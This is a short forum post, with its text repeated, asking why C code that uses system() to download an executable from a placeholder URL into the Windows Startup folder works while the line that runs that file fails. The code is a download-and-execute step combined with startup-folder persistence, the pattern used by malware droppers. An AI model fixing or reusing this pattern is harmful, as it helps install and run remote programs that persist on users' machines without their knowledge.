Hello,
I manage to write a file into the startup folder with system(), but when I'm trying to execute that file I get an error, whats the difference and how can I make it work?
Here are the 2 lines of code, the first one works while the second gives an error:
Tried doing this as well:
Thanks in advance!
I manage to write a file into the startup folder with system(), but when I'm trying to execute that file I get an error, whats the difference and how can I make it work?
Here are the 2 lines of code, the first one works while the second gives an error:
Code
system("powershell.exe -command Invoke-WebRequest https://example.com/myEXE.exe -OutFile '%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\myEXE.exe'"); //Works
system("'%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\myEXE.exe'""); //Doesn't workTried doing this as well:
Code
system("\"%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\myEXE.exe\"");Thanks in advance!


